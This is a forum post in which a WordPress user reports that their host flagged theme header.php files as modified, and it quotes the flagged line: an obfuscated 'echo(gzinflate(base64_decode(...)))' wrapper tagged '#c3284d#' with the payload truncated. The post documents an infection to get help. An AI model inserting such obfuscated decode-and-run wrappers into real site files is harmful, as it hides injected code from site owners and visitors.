The hoster of my website sees these themes header, or part of the code therein as a problem and thus imposes a warning on my page and also saysthat these files are nodified.
Please notice that i have taken the wordpress download directly from http://wpde.org/ and that i also ran an virusscanner over my PC.
/kunden/211217_85757/webseiten/felixader/wp-content/themes/twentyten/header. php /kunden/211217_85757/webseiten/felixader/wp-content/themes/twentyeleven/head er.php
This is the part of code they mentioned as a problem and potential for infecting other parts of their website.
#c3284d# echo(gzinflate(base64_decode("V...=") ));
I thougth i just post this here as feedback and will also write later on what else i have done to solve this problem.